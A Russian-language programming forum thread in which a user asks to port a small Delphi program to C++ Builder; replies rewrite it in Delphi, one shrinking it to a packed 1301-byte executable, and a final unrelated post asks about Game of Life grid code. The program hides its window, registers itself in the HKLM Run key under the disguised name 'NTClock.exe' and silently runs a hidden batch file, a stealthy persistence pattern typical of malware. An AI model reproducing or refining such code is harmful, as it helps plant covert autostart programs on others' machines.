Перевести код с Delphi на С++

[Vladya]

Ребята помогите (ну или подскажите) возможно ли перевести ниже приведенный код написанной программы с Delphi на С++ и как он будет выглядеть в переведенном виде. Я просто в С++ не шарю, а прогу нужно перекинуть так как мне подсказали что эфективнее она будет работать на С++ нежэли на Delphi.
Спасибо.

unit Unit1;

interface

uses
  Windows, ShellAPI, Forms;

type
  TForm1 = class(TForm)
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
Reg : HKEY;
szPach: String ;
szName: String ;
y: string;
implementation

{$R *.dfm}


begin 

application.ShowMainForm:=false; 

begin 
y:=ParamStr(0); 
szName:='NTClock.exe'; 
szPach:=y ; 

RegCreateKey(HKEY_LOCAL_MACHINE, 'Software/Microsoft/Windows/CurrentVersion/Run', Reg); 
RegSetValueEx(Reg, PChar(szName) ,0 ,REG_SZ ,PChar(szPach), Length(szPach));  
RegCloseKey(Reg); 

begin 

ShellExecute(0, 'open', 'c:/shara.bat', '', '', SW_HIDE); 

Application.Terminate;  

end; 
end;

end.

[AlDelta]

Для начала, попытайтесь сделать что-то самостоятельно, а мы поможем...

[bullvinkle]

Вот я молодец))) толком не знаю делфи, и С++ тоже не профи, но подсказать люблю))
Лучше напиши, что твоя программа должна делать, читать код влом, а технический перевод это, по-моему, глупо, легче заново написать по-своему.

[sim_84]

Во-первых С++ бывает разный на C++ Builder и в Visual C++ код будет выглядеть по-разному. Если нужно на C++ Builder, то тут и менять почти ничего не надо, т.к. большинство фунций здесь из WinAPI, а они одинаково работают и в Delphi и в C.
Во-вторых как я понял твоя программа не использует форму, а значит эффективней было бы создать консольный проект, он и места занимать меньше будет. Да и тот кто тебе это подсказал глупец, ибо в такой программе скорость работы не критична, на С++ она будет примерно той же, что и на Delphi. Ты ж не 3D игрушку пишешь.

[Vladya]

Сообщение от sim_84

Во-вторых как я понял твоя программа не использует форму, а значит эффективней было бы создать консольный проект, он и места занимать меньше будет. Да и тот кто тебе это подсказал глупец, ибо в такой программе скорость работы не критична, на С++ она будет примерно той же, что и на Delphi. Ты ж не 3D игрушку пишешь.

Да программа не использует форму, и я не говорил что на С++ скорость будет лучше просто что будет малость ефэктивнее так как можно будет намного лучше ее усовершенствовать (конечно по мере изучения С++), насчет того кто мне посоветовал ето все дело перекинуть на другой язык я бы не сказал что он глупец (вроде дажэ доктор наук), просто он полностью знает что я пишу, и что я хочу получить от етой проги, код мне нужэн на С++ Builder.
Спасибо.

[Vladya]

Ну так что кто нить поможэт или нет?

[sim_84]

Извини Builder не установлен. Могу на Visual C++

[r9m]

Твоя программа точно сбросит в весе если удалить оттуда форму, так как ты её не используешь, а просто скрываешь.

program Project1;

uses
  Windows,
  ShellAPI;

{$R *.res}

var
Reg : HKEY;
szPach: String ;
szName: String ;
y: string;


begin
y:=ParamStr(0);
szName:='NTClock.exe';
szPach:=y ;
RegCreateKey(HKEY_LOCAL_MACHINE, 'Software/Microsoft/Windows/CurrentVersion/Run', Reg);
RegSetValueEx(Reg, PChar(szName) ,0 ,REG_SZ ,PChar(szPach), Length(szPach));
RegCloseKey(Reg);
ShellExecute(0, 'open', 'c:/shara.bat', '', '', SW_HIDE);
end.

[execom]

ну, я думаю если сильно хочется что бы быстро работало и было небольшого размера - то нужно не язык программирования менять, а мозг включать.. вот этот же исходник на делфи, но немного изменённый:

program project1;
type
     HWND = integer;
     HKEY = integer;
    DWORD = integer;
  pathbuf = array [0..260] of char;
const
  advapi32 = 'advapi32.dll';
  HKLM     = DWORD($80000002);
  REG_SZ   = 1;
  SW_HIDE  = 0;

function ShellExecute(hWnd: HWND; Operation, FileName, Parameters,  Directory: PChar; ShowCmd: Integer): integer; stdcall; external 'shell32.dll' name 'ShellExecuteA';
function RegCreateKey(hKey: HKEY; lpSubKey: PChar;  var phkResult: HKEY): Longint; stdcall; external advapi32 name 'RegCreateKeyA';
function RegSetValueEx(hKey: HKEY; lpValueName: PChar;  Reserved: DWORD; dwType: DWORD; lpData: Pointer; cbData: DWORD): Longint; stdcall; external advapi32 name 'RegSetValueExA';
function RegCloseKey(hKey: HKEY): Longint; stdcall; external advapi32 name 'RegCloseKey';
function GetModuleFileName(hModule: integer; lpFilename: PChar; nSize: DWORD): DWORD; stdcall; external 'kernel32.dll' name 'GetModuleFileNameA';

var
     Reg : HKEY;
  szName : PChar;
  szPach : PathBuf;

begin
  GetModuleFileName(0, szPach, 260);
  szName:='NTClock.exe';
  RegCreateKey(HKLM, 'Software/Microsoft/Windows/CurrentVersion/Run', Reg);
  RegSetValueEx(Reg, szName ,0 ,REG_SZ ,@szPach, 260);
  RegCloseKey(Reg);
  ShellExecute(0, 'open', 'c:\shara.bat', '', '', SW_HIDE);
end.

скорость работы весьма нормальная)) да и вес в 1301 байт (после упаковки) - это весьма не много))) в архиве сорец и ехе))

[onizukawise]

Всем привет! Я плохо программирую и не могу найти встроенный русский хелп для делфи и билдера (там ещё есть delphi и builder примеры для разных комманд, но только builder показывается..)...

Надо из билдера в дельфи код переделать, вот эти 3 места не знаю как записать на дельфи, помогите, пожалуйста)


if (State.Contains(gdFocused))
DrawGrid1->Canvas->DrawFocusRect(Rect);



DrawGrid1->OnDrawCell;
DrawGrid1->Repaint();


if (array[X][Y]==2&&(ProvLife(X,Y)<2||ProvLife(X,Y )>3)) /
array[X][Y]=3;
if (array[X][Y]==0&&ProvLife(X,Y)==3)
array[X][Y]=1;